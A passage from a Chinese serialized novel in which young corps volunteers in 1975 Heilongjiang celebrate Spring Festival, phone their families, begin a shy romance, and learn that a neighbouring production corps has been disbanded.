看着红烧肉吃光之后，白建军露出的那丝满意的笑容，吴忆茹就知道红烧肉绝对是白建军亲自做的。 至于剩下的酸菜汆白肉还有，猪肉炖粉条也浪费不了，晚上还有一顿年夜饭，这也是农闲以来，少有的一天三顿饭的时候。 吃的差不多了，不少人就开始去别的桌敬酒了，大家去的最多的张大山那边的主桌，连长张大山也是来者不拒。 白建军出去了给连长那桌敬酒，又去了黑丽荣那桌，虽然她们那桌都是女兵，但是大家都喝的差不多了，也都没有了往日的矜持；之后白建军也去了农场老职工那边，给褚占刚他爸还有赵班长敬酒。 酒过三巡菜过五味，一场热热闹闹的聚餐才告一段落，白建军虽然有些微醺，但是明显比别人强多了，最后白建军把石兴华和蔡凯杰扶回了宿舍，自己忙活了一会儿，才倒在炕上睡着了。 第84章 年三十的饺子 借着炉膛上微弱的火光，一觉醒来的白建军看到宿舍的时钟上显示现在已经6点多了，外面的天早就黑了。 2月的东北，7点左右太阳才升起来，不到下午5点，太阳又落下去了。起的晚睡的早，所以兵团这边农闲的时候，一天两顿饭对于知青们也没有什么影响。 不过今天是年三十，无论怎么样，晚上还得吃一顿饺子。 石兴华和蔡凯杰还在呼呼大睡，这俩小子今天能喝了半茶缸的白酒，算下来都有半斤了。白建军穿上军大衣又往炉子里填了点煤之后，就往炊事班那边去。 炊事班人手有限，平时各排还需要安排人去炊事班帮厨呢，光指望炊事班包饺子，哪怕连里现在就剩下一半人，都不知道要包到什么时候去。包是不可能包，但是面和饺子馅炊事班这边是准备了。 白建军宿舍就剩下三个人，过年这顿饭早就和二班和三班的商量好了在一起过。 从炊事班领了和好的面和芹菜猪肉馅，白建军捧着两个铝盆快步往自己宿舍走。虽然盆上都有盖帘，但是外面的温度实在太低了，要是不快点回屋，用不了一会儿，饺子馅和面都得冻住。 白建军回到宿舍放下铝盆就把炕上的几个木箱子搬了下来当案板用，四个木箱子拼到一起再用湿毛巾仔细擦了两遍，撒上点浮面就可以擀皮了。 白建军这边干活，二班、三班也有人走了进来，这人一多，石兴华和蔡凯杰也迷迷糊糊的醒了过来。 “白大哥，咱这也没有擀面杖啊，要不我去炊事班看看去？” 二班的叶庆标见白建军忙活了一通，不由提议道。 “炊事班那大擀面杖是做病号饭擀面条用的，用那个也不适合包饺子。”白建军笑着摇了摇头。“再说赵班长也不能借！” “那我去老职工家里借一根？” 又有人提议道。 “这擀面杖一家也就备着一根，这时候人家差不多也在包饺子呢，你去了，人家借不借你，都会让人家为难！”白建军仍然摇了摇头看着几人说道。“你们也别想了，靠天靠地不如靠自己！你们谁去把酒瓶子好好洗一洗！” “白大哥，你要拿酒瓶子当擀面杖？” 叶庆标诧异的问道。 “起码它是圆的，是长条的，总比我们用手捏不是强多了么！” 白建军笑呵呵的说道。 听到白建军的话，叶庆标立马回自己宿舍了，没多大功夫叶庆标就拿了两个玻璃瓶子走了进来。白建军这边已经把饺子馅重新又搅和了一下，正在揪剂子。 “我擀皮儿，你们包吧！” 白建军看了一眼叶庆标就继续忙手中的活。 可是白建军这边已经擀出来几个饺子皮儿了，也没见有人动手包饺子，白建军抬头看见茫然的看着自己的众人不由无奈的问道。 “你们不会在家的时候，都没包过饺子吧！” “以前都是我妈我姐她们包饺子，我妈嫌我碍事，根本就没让我碰过！” “我也差不多，都是奶奶和我妈她们包，都不让我爸和我弟弟他们上手！” 屋里十多个男知青，七嘴八舌的说着自己的情况，这里愣是没有一个会包饺子的。 “都过来，看好了！”白建军无奈，只能给大家演示一下怎么包饺子。“把适量的馅儿放在这个皮儿中间，然后上下往中间一兜，之后再把两边的口封死！中间别夹馅儿，不然一会儿都得煮飞了！” 白建军自己演示了几遍，之后又看着他们一个一个的包着饺子。虽然包出来的饺子，大的大小的小，模样也不规整，但是总算是看着像个饺子样儿了。 “白大哥，这一会儿咱们包完饺子，可咋煮啊，炊事班能给咱们煮么？” 三班的一个知青突然想到煮饺子的问题啦。 “一会儿包完饺子，把这个铝盆刷一下，倒上水，直接放到炉子上，烧开就把饺子下锅！”白建军指了指装面的铝盆。“之前排长他们第一年过年就是这么干的。” “你们一会儿把中午剩下的菜都放到炉筒子那边热一下，饺子煮好了，咱们就开吃！”白建军对着屋里众多男知青们说道。 “好嘞！” 有了白建军这个主心骨，这些才14.5岁的知青们也都知道该怎么办了。叶庆标还提出跟白建军学着擀皮儿，白建军也慢慢教他，虽然他最后的成品不像白建军擀的那么圆溜儿，但是其他孩子们也不挑，有啥用啥，能包住馅儿就成。 白建军她们这边正热火朝天的忙活着，就看到一个人影从外面过来，然后直接推门进了屋里。 “忆茹姐！”×N 屋里的知青们纷纷跟吴忆茹打招呼。 “我们女兵那边都包完饺子了，排长让我来看看你们，是不是需要帮忙！” 吴忆茹小脸冻的通红，也看不出来是不是害羞了。 “那是热烈欢迎啊！” 不少男知青都大声的说道。 “那我去叫她们过来！” 吴忆茹看了白建军一眼，又和大家说了一声转身就出去了。不大一会儿，吴忆茹又带着三个女知青过来这边帮忙，这下干活的效率一下子就提升了一大截。 “小石、标子，一会儿你们吃饭之前你们俩去外面放一挂鞭炮，另外还有二踢脚，也放一捆。”饺子包的差不多了，白建军看着石兴华和叶庆标说了一句。“二踢脚别都点了，明天早上再放，另外注意安全。” 铝盆已经放到外屋的炉子上了，屋里的炉子上也放好了饭盒。 “这边也忙完了，我们先回去啦！” 包完饺子的吴忆茹和其他三个女知青也起身告辞。 “我送一下你们！” 白建军起身就要穿军大衣送吴忆茹她们，吴忆茹连忙说“不用”，不过白建军还是把几人送到了屋外。 “你没穿大衣，赶紧回去吧，外面冷！” 吴忆茹看着送出来的白建军，焦急的说道。 “我这就回去，你们路上也慢点！” 白建军点头说道。 吴忆茹和三个女知青走了，白建军也回了屋，男知青们都跑出去看放鞭炮了，就连二踢脚也一人分到一个。 没多大一会儿，喧闹的鞭炮声就在九连这边响起，不少知青都从宿舍里出来看着这喜庆的一幕。 “咚！……”“当！……” 二踢脚爆炸的声音响彻整个九连上空，家属院那边都有不少孩子跑出来看着九连上空一闪而逝的火光。整整十二响之后，九连的天空才又陷入了平静。 屋里的饺子已经煮好了，虽然有一些煮开了，但是仍然有不少完整的，白建军直接把铝盆端了过来，现在这已经成了一锅饺子汆丸子片汤了。 当第一口饺子吃紧嘴里的时候，白建军这屋里不少知青都流下了眼泪。而这一幕不仅仅是白建军他们这个小小的宿舍，整个九连里，四十五团里乃至整个黑江兵团，不少人都流下了眼泪。 说到底，这些知青们，小的刚刚14.5岁，大的也才16.7岁，他们还都是孩子，这也是他们人生中第一次没有在父母亲人身边过上一个团圆年。 在新春佳节的日子里，谁不祈盼回家与家人团聚过年呢！又有谁这时候能不想念家中的亲人呢！ 第85章 年初一的秧歌队 1975年正月初一，天刚蒙蒙亮，白建军就听到由远而近传来了一阵阵喧闹声。 看着地上木头箱子拼成的饭桌上那些还没来及收拾的饭盒和铝盆以及里面的残羹剩菜，白建军不由又想起了昨夜和知青们吃年夜饭时的情景。 有思乡时留下的悲伤，也有战友们共度新春的欢乐。有热情洋溢的朗诵，也有齐声高歌！ 也不知道什么时候开始，众人才纷纷互相扶持着回到自己的宿舍，白建军相比其他人都清醒的多，每次都是看到他们走回宿舍白建军才安下心。 还是那句话，外面滴水成冰，这要是有哪个知青因为喝多了，没有回到寝室，那么第二天连里就得通知家属了。白建军自然不想这样的惨剧发生，所以看到他们回到屋子，才会安心返回屋中，而且白建军特意在宿舍区这边也走了一圈，以免其他排有人发生意外。 石兴华和蔡凯杰昨天中午喝了不少，晚上并没有喝的太多，所以白建军醒了之后不久，他们俩也都迷迷糊糊的醒了过来，当然也可能是外面的喧闹声越来越近有关系。 白建军这边还在外屋生活，就听到锣鼓声已经快到了九连大门口，而院里也有人大声吆喝。 “大家快出来啊！有扭秧歌的来啦！” 爱热闹这一点，可能是深深刻在了国人的骨子里。本来就对外面敲锣打鼓的声音好奇的知青们，在听到是扭秧歌的，纷纷从自己的宿舍走了出来。 “军儿哥，别生炉子啦，扭秧歌的来了！” 石兴华和蔡凯杰听到动静也精神了起来，两人快速穿上衣服之后，就拉着白建军往外走，白建军也笑着跟两个小老弟一起往连部门口走去。这里已经有不少知青在这边看热闹了，就连农场老职工的家属和孩子们也都跑过来看热闹。 一对人马从东边由远及近款款走来，他们身披大花被面，红红绿绿的煞是好看，脚踩高跷一步三摇，描眉画眼勾着粉脸，敲锣打鼓扭着腰肢从九连连部的门口经过。 “这些人是从哪过来的啊？” “这看着怎么好像是德发大队那边的人？” 知青们可能不认识这些人，但是老职工里有人觉得秧歌队里有人和德发大队的人长的像。 知青们和家属们看过热闹之后，就要往回走，白建军看昨天晚上一起吃饭的知青们都在，赶紧叫住了众人。 “正好也省的我叫人了，你们把鞭炮和二踢脚都放了。”白建军看着这些知青们说道。“这大年初一的，就得整点动静！” 一听白建军这么一说，这帮知青撒丫子就往白建军他们寝室跑，没一会儿，这帮知青就拿木头杆子挑着鞭炮出来了。 这下，原本要离去的人群再次停住了脚步。 “都去连部门口放去，这边还有孩子，别崩到人！”白建军看着这帮知青大声的喊道。“都注意安全，别使坏啊！小心引起众怒，可没人帮你！” “白大哥，你就放心吧！” 这帮知青头也没回的回应着白建军。 这边放鞭炮，可把家属那边的孩子们高兴坏了，可是身边有大人死死的抓住这帮丫头小子，不让他们动地方。 随着鞭炮的点燃，噼里啪啦的声音传来，女知青们都纷纷捂住了耳朵，不少家属也都捂住了孩子们的耳朵。一时之间，干冷的空气里都是硫磺味。 放完了鞭炮，大家见还有知青在那边准备着，也都纷纷等在原地。 没过一两分钟，随着“咚！……”的一声闷响，大家就看到远处点燃二踢脚的知青撒腿就跑，脚下一滑直接滑倒了，之后这个知青手脚并用远离二踢脚，大家不由都发出欢乐的笑声。 “当！……” 又一声巨响出现在了半空之中，哪怕在这太阳出来的时候，仍然能看到那一闪而逝的闪光。 这次谁都不捂耳朵了，知青们都看着不断点燃的二踢脚，恨不得自己过去点一个，而家属们脸上也都露出了开心的笑容，小孩子们更是挣脱开父母的手，跑到鞭炮堆那边去翻找没有点燃的鞭炮。 “这几年，难得有今天这么热闹啊！” “看着满地的红纸，就觉得喜庆！” 家属们纷纷发出感叹。 这些鞭炮和二踢脚都是白建军个人掏钱买的，白建军的工资也不用往家里寄，而且之前好几个月都在师部医院那边，这难得过年了，也奢侈一把！ 没有鞭炮的年，还叫年么？ 欢快是短暂的。 鞭炮放完了，知青们扑棱扑棱身上的雪，都返回各自的宿舍。昨天一起吃年夜饭的知青们也都来到了白建军这屋，取回自己的饭盒，白建军也回来引炉子、烧水，收拾屋子。其实也没什么好收拾的，除了把木头箱子放回原位，剩下的就是从炊事班拿来的铝盆了。 铝盆中的只剩下一些结了冰的汤，蔡凯杰直接端着铝盆去厕所那边，敲打了几下就把整个冰块扔进了粪坑里。之后又把铝盆还给了炊事班。 白建军这边等炉子生起来之后，就把宿舍的两道门都打开了，昨天一帮人在屋里喝酒、热菜，当时还没感觉什么，但是有了刚刚看秧歌队又放鞭炮这一出，再进屋这味道着实有些熏得慌。 忙忙活活一个多小时下来，也到了开饭时间。 “白建军，明天我想去团部那边，你能陪我去一趟么？” 吃完饭的吴忆茹在看到白建军往回走的时候，找了过来，看着白建军问道。 “好的，正好我也想给我姐打个电话，明天正好她值班！” 白建军看着吴忆茹直接答应道。 “那明天吃完早饭，我们就出发！” 说完话的吴忆茹直接转身就跑开了。 虽然有围巾挡着，但是白建军仍然能感觉出，吴忆茹围巾背后的脸上已经露出了笑容。 远处的黑丽荣看到这一幕，脸上同样露出了姨母般的笑容。而走在白建军前面的石兴华和蔡凯杰也同样相视而笑，似乎发现了什么大秘密一样。 第86章 通电话 白建军初二准备去团部的事，只和黑丽荣说过，而吴忆茹直接找到自己，那一定是黑丽荣告诉她的消息，白建军是真拿这位存疑的堂姑姑没办法。 大年初二，今天邮政局特意安排了电话窗口这边开门营业，主要也是为了方便有条件的知青给亲人打电话，以慰思乡之情。白建军一大早吃完早饭就和吴忆茹从九连往团部走。 路过六连的时候，白建军和吴忆茹到六连这边暖和了一会儿，和六连的几个往团部去的知青，简单的打过招呼之后，白建军和吴忆茹又自顾自的再次上路。 虽然太阳已经出来了，但是空气仍然干冷干冷的，呼吸出的哈气都在围巾上结冰了，无论是白建军、吴忆茹还是六连的知青们也都歇了路上聊天的心思。又走了一个多小时，白建军和吴忆茹以及六连的几个知青才走到了团部所在的鹤山镇。 白建军和吴忆茹到了打电话的大厅中，这里已经有几个知青在排队等着打电话呢，白建军和吴忆茹也登记之后，等着叫名字。大厅里虽然不如宿舍暖和，但是也比外面暖和多了，这边还准备了热水供等待打电话的人饮用。 “吴忆茹，一会儿打完电话，你想去哪？” 脱下棉手闷子，手里捧着装着热水的搪瓷缸子，白建军看着身边同样如此的吴忆茹问道。 “我也没有想好！” 吴忆茹腼腆的说道。 “那我们就随便走走吧，要是能找到地方，中午就在这边吃一口，不行的话咱俩就去团部食堂。”见吴忆茹没有主意，白建军直接提议道。“我参加培训的时候，卫生队出公差都是我和陈大勇的活，团部食堂那边都熟悉！” “嗯！” 吴忆茹小声的点了点头。 本来打电话的人就很少，没一会儿就轮到了白建军和吴忆茹。吴忆茹的父亲是音乐教授，母亲也是教师，而且她家里就有电话，不像白建军似的还要给白建华单位的传达室打电话，还要找人。其实白建军家里以前也有电话，但是自从白占元去世之后，白家的电话也被拆了。 吴忆茹这边和父母通电话，刚开始还有说有笑，可是说着说着就低声抽泣了起来。这一幕也没人笑话，因为之前也曾出现在其他打电话的人身上。白建军见吴忆茹哭了，也没有立刻走上去安慰，毕竟人家在打电话，白建军贸然上去并不是很礼貌。 不知道吴忆茹和父母说了什么，白建军就看到吴忆茹的神情急速变化，似乎在和电话里人争论着什么，最后更是气鼓鼓的撂下了电话。 吴忆茹下一个就是白建军，白建军见吴忆茹出来，赶紧走了过去关心的问道。 “吴忆茹，你怎么了？” “没什么！”吴忆茹摇了摇头。“我先去缴费了！” 白建军见吴忆茹这个样子，肯定和父母发生了争吵，不过吴忆茹不愿意说，白建军也没有继续问。而且打电话也轮到了白建军，白建军直接拿起电话。 “你好，请帮我转接京城！” “转接京城！” “嘟……嘟……” “请问要哪里？” “请帮我转3275！” “转3275！” “嘟……嘟……” “这里是301医院传达室，你找谁？” “我找外科病房护士白建华，麻烦您帮着叫一声！” “等着！” 对面听筒也没有被放下，白建军反而在这边的听筒中听到了对面打内部电话的声音。 “外科病房么？传达室这边有白建华电话！” “好！快点啊！” 等了能有两分钟，白建军才在听筒里听到了白建华的声音。 华：“建军，是你么？” 军：“姐，是我！今年只能在电话里给你拜年了！回去也替我给太奶奶带个好！” 华：“我回去下班就告诉太奶奶！” 军：“姐，我让战友们给家里捎的东西，你们都收到了吧！” 华：“嗯！都收到了！整整两大袋子呢！ 你捎回来的那些黄豆、黄米、榛子、木耳、榛蘑、猴头蘑等等我都不知道怎么吃！” 军：“你不会做，高阿姨她们一定会做！” 华：“东西一到，我就给他们送过去了。何师傅和冉老师那边我也送去了一些！他们都还打听你的情况呢！” 军：“他们一家都挺好的啊？” 华：“都挺好的，何森与何琳都会叫人了！” 军：“嗯……！” 华：“怎么了？” 军：“没什么！” 华：“对了，和你说个事！” 军：“什么事？” 华：“太奶奶的那个表侄，他小舅子年前出事了！我年前给你写了信，你还没收到？” 军：“还没有呢，估计得过几天！” 华：“今年除了你们这些去兵团的，插队的都回来了过年了！” 军：“怎么着我也得明年才能申请到探亲假！” 华：“你还缺什么，正好我也让你战友给你带过去！” 军：“我这也没啥缺的！” 军：“姐，我也不多说了，后面有人催了！” 华：“建军，你在外面，别委屈了自己！” 军：“姐，不用担心我，我这边一切都挺好的！你也要照顾好太奶奶，而且更要照顾好自己！” 华：“嗯！……” 军：“姐，别哭，这大过年的，哭啥！你一定要开开心心的啊！” 华：“姐听你的，不哭！” 军：“姐，那我撂了！” 华：“嗯！” 放下了电话，白建军心里感觉堵堵的。 白建军让开了位置，转身去一边的小窗口交钱去了，就这么短短几分钟，白建军就花了3块多钱。在这个有急事都只是发3分钱一个字的电报的时代，这可真算得高昂的消费了。 白建军交完钱，就走到了仍然在生闷气的吴忆茹身边。 “我们出去走走吧!” 这次换成是白建军主动提出在外面走走。 两个人都重新把军大衣扣系上，又裹好各自的围巾，一前一后离开了邮局。正月初二，并没有什么饭店开业，两个人索性直接往团部而去。现在哪怕心里有再多的不痛快，也得等到进入温暖的市内再说。 第87章 情愫 团部这边的食堂菜品要比连队强很多，特别是在过年过节期间。白建军特意找了这边食堂的工作人员借了几个大饭盒，打了5份红烧肉准备带回去。 虽然路上吴忆茹没怎么和白建军说话，但是到了中饭时间两个人也开始边吃边聊。 “白建军，你打这么多份红烧肉吃得了么？” 吴忆茹指着旁边装在网兜里的饭盒问道。 “正好这边食堂有，看到了就多打了。”白建军也大大方方说道，毕竟这是自己花钱买的，又不是靠面子要来的。“一会儿咱们回去路过六连的时候，你等我一下，我有个同学在六连，到时候给她送一份去；等回到连里，你拿回去两份，你一份，丽荣姐一份！” “我不要！”吴忆茹赶忙摇头说道。“今天这饭都是你花的钱，我怎么还能要这个呢！” “让你拿着你就拿着。”白建军看着吴忆茹笑着说道。“每次从食堂打菜，你就从这里挑两块放到饭盒里，再在炉子上热一下，这样一份红烧肉起码能吃个三五天。” “我怎么好意思呢！” 吴忆茹还是拒绝道。 “我知道你不缺钱，可是我也不缺钱。”白建军看着吴忆茹认真的说道。“就当是我过年给你准备的礼物了。” “咯咯，你这过年的礼物就是一份红烧肉啊！” 吴忆茹一下被白建军的话逗乐了。 “是啊，主打一个实惠！” 白建军也笑着说道。 在团部食堂美美的吃了一顿红烧肉，白建军和吴忆茹就准备动身返回连部，不过习惯性的白建军还是去了一趟团部传达室。 白建军就是想看一眼这里有没有九连战友们的信，没想到这里还真有，而且这里就有一封刚刚电话中白建华提到的年前寄出来的挂号信。把九连所有的信都揣到了军大衣里怀的兜里，白建军提着网兜就和吴忆茹出了团部。 好不容易来一次团部这边，虽然已经买了红烧肉，但是这是留给自己的，白建军又去商店买了一些花生、瓜子和硬糖，准备回连队给大家分一分。这次吴忆茹可没有让白建军再出钱给自己买，而是自己买了女兵排的那一份。 这次回去，就只有两个人了，好在外面虽然很冷，但是没有风，中午的太阳也让人感觉温度高了许多。 白建军路过六连的时候，特意让六连的知青找了一下王美丽，白建军直接把一个饭盒交给了王美丽。 “这是中午我去团部打的菜，给你带来了！”白建军拉下围脖看着王美丽说道。“吃完记得把饭盒留好，这是我跟团部食堂那边借的，过两天我让我们连通讯员来取啊！” “还得是老同学，有好事还能想到我！” 王美丽开心的都跳了起来。 “我也不多跟你说了，等开春了有机会我再来看你！”白建军和王美丽摆了摆手。“我先走啦！你快回去吧！” “那我就不跟你不客气了！” 王美丽看着已经转身离开的白建军大声说道。 看着白建军摆了摆了手，王美丽也快步回到了自己的宿舍。 “王美丽，刚刚那是谁啊？” 有知青看着拿着饭盒进来的王美丽笑着问道。 “九连的卫生员白建军！”王美丽得意看着这个女知青说道。“我们是一个学校的同学，以前关系就不错！” “美丽姐，你们俩不会……” 另一个年龄小的女知青指了指饭盒看着王美丽意有所指的说道。 “小丫头片子，想啥呢！”王美丽笑着呵斥了一句。“当初在学校的时候，就我知道喜欢她的女孩都不止2.3个。而我们的关系不同，我们是哥们儿！” “那快看看你这个好哥们儿给你带什么回来了！” 年龄小的女知青赶紧凑了过来。 “哇！红烧肉！” 刚刚问白建军是谁的女知青看着王美丽打开的饭盒直接惊呼了出来。 “美丽姐，你这哥们儿可真够意思！” 王美丽同宿舍的女知青们纷纷称赞道。 …… 另一边，走在回连部路上的白建军和吴忆茹两个人漫步在这铺满积雪的乡路之上。虽然天寒地冻的，但是吴忆茹从未感觉如此的轻松惬意，嘴里不自觉的哼唱起来《山楂树》。 “你没留在团部宣传队，真的有些可惜了！” 听着耳边动听的旋律，白建军不由替吴忆茹有些惋惜。 “我爸是音乐教授，从小就教我各种乐器，我妈也让我练习芭蕾。可惜我12岁那年伤了跟腱，自那以后也就不再跳舞了。” 吴忆茹停下了哼唱，低着头说道。 “宣传队那边并不缺会乐器的，她们这次招的都是会唱会跳的。我唱的一般！” “已经很好听了！”白建军笑着夸赞道。“起码你还进了第二轮了呢！” “你喜欢听我唱歌？” 吴忆茹抬头看着白建军问道。 “喜欢！”白建军认真的说道。“非常的悦耳！” 吴忆茹听到白建军的话，心跳都加速了许多，脑海中也突然有些空白。 就是这么个当口，吴忆茹脚下一滑，身体一个趔趄。白建军就在吴忆茹身边，看到吴忆茹要摔倒，赶紧伸手要抓住吴忆茹。吴忆茹这时候也回神了，慌忙的去抓白建军。 两个人都忘了，两人手上现在都带着手闷子，根本抓不住对方。而在此时，白建军见吴忆茹马上就要摔倒，也顾不得许多。 白建军快速转到吴忆茹正面，两只胳膊直接加速从吴忆茹身体两侧伸到了吴忆茹的身后扣到了一起，吴忆茹情急之中也把两个手扣到了白建军脖子后面。 两个人现在的姿势，就是你抱着我的腰，我搂着你的脖子，那是说不出来的暧昧，就像热恋中的情侣一样。 仅仅是片刻，白建军也反应了过来。 “你站好了么？” “嗯！” 吴忆茹现在脸真的是滚烫滚烫的，一点都不敢看白建军。 白建军刚要试着松手，可是吴忆茹光顾着害羞了，身体还没有完全调整过来，下意识的就搂紧自己的双手，而白建军也再次扣住了双手。 而且因为吴忆茹用力有些大，身体直接靠在了白建军身上。 虽然外面还是零下20多度，但白建军明显感觉，吴忆茹脑门上已经开始冒出了白烟。 “咳咳！这次站稳啦！要是有人过来看到，就不好了！” 第88章 黑市生意完了 吴忆茹都不知道自己是怎么回到的九连，等快到九连门口的时候，白建军的话才让一直处于懵的状态的吴忆茹清醒了过来。 “快到连部了，我们……” 白建军看了看挽在一起的两个人的胳膊，又看了看吴忆茹。 吴忆茹看了一眼白建军，又赶紧躲闪开，然后快速的抽出自己的胳膊，就准备向着自己的宿舍跑去。白建军一把拉住要跑的吴忆茹。 “别跑，还有东西没拿呢！” 吴忆茹强忍着内心的羞涩，接过白建军递过来的网兜，然后快步往宿舍跑去，这回白建军并没有再阻止。 “吴忆茹，你这着急忙慌的，干啥呀，后面是有狼撵你么！” 陈梦莹看着慌慌张张推门进屋的吴忆茹打趣道。 “没……没有……”到了屋子里的吴忆茹连忙解释道。“我就是着急赶紧跑回来，外面实在是太冷了！” “快把东西放下，赶紧把大衣脱了，在炉子这烤烤火！”黑丽荣走过来把吴忆茹手里的网兜接过来随手放到一旁的木桌上。“这都是什么啊，还挺沉的！” 黑丽荣说完，也帮着吴忆茹脱大衣。 “我去团部买了些东西，饭盒里是白建军让我给你带回来的红烧肉！”吴忆茹一边脱着大衣一边回答着黑丽荣，说完又对屋里的女知青们说道：“网兜里有花生、瓜子，还有糖，大家都分一分吧！” “这是有啥喜事啦么？”一个黑省的女知青直接逗着吴忆茹说道。“难道有什么情况？” “没有，没有，真没有！” 已经脱下军大衣的吴忆茹本来还在烤火，一听这个女知青这么说赶紧站起来连连摆手。 “看你急那样子！”黑丽荣一边倒着暖瓶中的热水，一边笑着看着吴忆茹说道。“她们在逗你呢！” “你们也是，人家吴忆茹去一趟团部，还给你们带零嘴。”黑丽荣又对着屋里起哄的女知青们说道。“吃了糖块，嘴里还不说几句好听的？” “谢谢忆茹啊！” “谢谢忆茹姐啊！” 女知青们打开装东西的网兜，纷纷笑着对着吴忆茹感谢道。 “不少商店都没开门，只能买些这个了！” 吴忆茹此时也缓过来很多，略带不好意思的和大家说道。 “这就很好了！” …… 和害羞跑回来的吴忆茹不同，白建军则是慢慢悠悠的走回了寝室。 这一小段路上，白建军也在回想着刚刚发生的一切，可以说一切都是意外，又那么的水到渠成。 “白大哥，你回来了！” 倒在炕上无所事事的石兴华见白建军回来了，热情的招呼道。 “我买了一些花生瓜子，小石，你一会给其他寝室分一些过去。”白建军一边脱着军大衣一边对石兴华和蔡凯杰说道。“小蔡，我正好把团部里面的信也取回来了，有孙嫣的，一会儿你给她送过去吧！” “白大哥，有这好事，怎么不让我去啊！” 石兴华立马从炕上下来。 “你要给孙嫣送信去？” 白建军看着石兴华问道。 “没，我就是想着难得有去女生宿舍那边的机会嘛，哈哈！” 石兴华突然感觉到身后有杀气传来，赶紧打着哈哈说道。 白建军直接把大衣里怀兜里的信都拿了出来，挑出女知青们的信，看着已经走到石兴华身后的蔡凯杰说道。 “小蔡，别闹了，你快穿上大衣送信去吧！” “小石，你也顺便把男知青们的信和花生啥的送过去吧！” 两人都听了吩咐，立马穿上衣服，拿信的拿信，拿东西的拿东西，然后两人就该干什么干什么去了。这也不能说白建军巧使唤人，两人也算是心甘情愿的。 老话都说，有钱的出钱，有力的出力。白建军已经掏钱买东西分给大家了，让两人跑个道，又有什么大不了的。不是所有知青的家庭条件都是一样的，像白建军这样自己的工资可以自己支配的，全连知青里也没有几个人。 石兴华和蔡凯杰家里都有好几个兄弟姐妹，全家都指着父亲一个人的工资过活，他们俩每个月的工资，都要往家里寄去一部分，留下的这部分除了吃饭和必要的生活用品开支，一年也攒不下几个闲钱，而这也是连里的大部分人的情况。 不然整个九连剩下70多号人，也不能就白建军自己又是买鞭炮又是买花生、瓜子啥的，实在是大家真不一定能拿出来这个钱，就算能拿出来的，有些也舍不得。 等石兴华和蔡凯杰离开了，白建军缓了一会儿身子，也打开了白建华寄过来的挂号信。这封信主要说的就是朱厚和他小舅子以及白建军原来黑市的那个生意的事。 白建军离开京城之前，就把生意交给了朱厚，朱厚也一直按照白建军的吩咐办。刚开始两个月，一切还都是老样子，但是自打去年国庆之后，朱厚的小舅子就跟朱厚分家单干了。 这里主要都是朱厚小舅子媳妇在撺掇着，而且她还找来了自己的弟弟帮忙。 朱厚和他小舅子分家之后，就找过李香秀问以后怎么办，李香秀一直觉得这个迟早会出事，也让朱厚可以先停一停。朱厚回去之后就和他小舅子说清楚了，自己洗手不干了，他那边的事也别牵扯到自己身上。虽然朱厚他媳妇有些不乐意，但是朱厚眼睛一立起来，他媳妇也害怕。 就这样，朱厚算是洗手不干了，他小舅子算是把黑市的生意接过去了，而且粮食的供应也由原来李家庄大队，换成了朱厚小舅子媳妇家的宋家庄大队。为此事，都把朱厚的老丈人气病了，但是朱厚的小舅子刚挣了钱也孝敬他爹，这事慢慢也就过去了。 朱厚小舅子挣了两个月好钱，这比以前他给朱厚帮忙挣的可多多了，慢慢的，朱厚小舅子那两口子的胆子是越来越大，就连白建军不碰的东西，他们两口子都开始倒买倒卖了。 京城工商局早就注意到黑市，原来是不愿意管，但是因为一些特殊的原因，在年前就开始专项整治活动。而朱厚小舅子的小舅子也早就被工商局的人盯上了，最后来个人赃并获，连带着朱厚小舅子两口子也都落网了。 好在朱厚小舅子还没糊涂到底，哪怕她媳妇把朱厚的供出来，他都没吐口，一直承认自己就是他们一伙里的“掌柜的”。 朱厚早就不干挺长时间了，而且还有个临时工的工作，有人能证明朱厚什么时间上的晚班，而且朱厚也只说他小舅子那房子是他托人给租的，其他跟他就没关系了。 工商局那边也没抓到朱厚现行，另外还有朱厚小舅子自己承认，朱厚在公安局待了一天也被放出来了。但是朱厚的小舅子一家以及朱厚小舅子的小舅子包括宋家庄大队朱厚小舅子的老丈人都受到了牵连。 “有多大屁股就穿多大裤衩！”白建军把白建华写的信直接扔进了炉子里。“人心不足蛇吞象，利欲熏心啊！” 第89章 吴忆茹的小心机 正月初七之后，放年假的兵团战士们陆续返回各自的连队，之后又待了一个多月，到了三月末的时候，各个连队都开始为春耕、春播做准备。兵团这边因为有各种机械的辅助，耕地播种都算不上什么费功夫的事。 什么时候干什么活，团里都有统一安排，各个连队的兵团知青们只要按照吩咐去做就可以。 时间一晃来到了1975年的6月末，刚刚铲地回来的知青们大都往各自的宿舍走，干了一天活，一个个都灰头土脸的。 白建军并没有着急回去洗漱，而是先去了连部的传达室准备借阅一下今天的报纸，这也是白建军到了兵团这边养成的习惯。 “建军，这是今天的报纸，你看看吧！” 周海兵递过今天的报纸，有些意兴阑珊的说道。 “海兵哥，你这是怎么了？” 白建军看着不在状态的周海兵直接问道。 “你看看就知道了！” 周海兵指了指白建军手里报纸，其他什么都没有多说。 白建军见周海兵如此，赶紧打开报纸看里面的内容。 “内古兵团撤销了？” “是啊，这几年来全国各地的兵团陆续撤销移交地方！”周海兵失落的看着白建军说道。“现在内古的兵团都撤了，下一步也快轮到咱们黑江兵团了！” 白建军现在心中也是五味杂陈，内古生产建设兵团虽然是6月24日批准撤销的，但是这之前一定有一个流程要走，可是这件事在去年就开始操作了，只是到今天的6月25日才登报正式宣告。 而可能正如周海兵所忧虑的那样，黑江这边的领导看到内古兵团撤销后，是否会有想法将黑江兵团收归地方管理或者是已经开始走这个流程了呢？白建军只是一个普通的兵团战士，这样的消息根本不得而知，只能等到正式通知下达的时候，才会知道具体的事情。 白建军见周海兵情绪不高，也就没有再和周海兵继续聊下去，拿着报纸就先去宿舍洗漱去了。去食堂吃了晚饭之后，白建军刚走出食堂就被黑丽荣和吴忆茹叫住了。 “建军，你这是怎么了？”黑丽荣看着白建军问道。“下午看你还挺好的，怎么吃饭的时候没精打采的？” “刚刚看过今天的报纸，那上面说内古兵团撤销了！”白建军看着黑丽荣和吴忆茹说道。“想到了我那些去内古兵团的同学，也不知道他们现在正经历什么，就有点心不在焉啦！” 黑丽荣和吴忆茹两个人听到这个消息也很惊讶。这几年虽然有不少兵团都陆续撤销，但那都是小军区的小兵团，内古兵团可是不差于黑江兵团大兵团，过完年边疆军团撤销的时候，大家就觉得很震惊了，没想到刚刚过了3个月，又一个巨型生产建设兵团被撤销了。 “唉！我同学来信告诉我，她们在边疆那边现在成了农场职工！”黑丽荣叹了口气看着白建军说道。“也不知道内古兵团那边对于像我们这样的知青怎么安排！” 一时之间，白建军、黑丽荣、吴忆茹都有些不知道说什么好了。 “你一会儿能陪我走走么？” 吴忆茹看着白建军小声的问道。 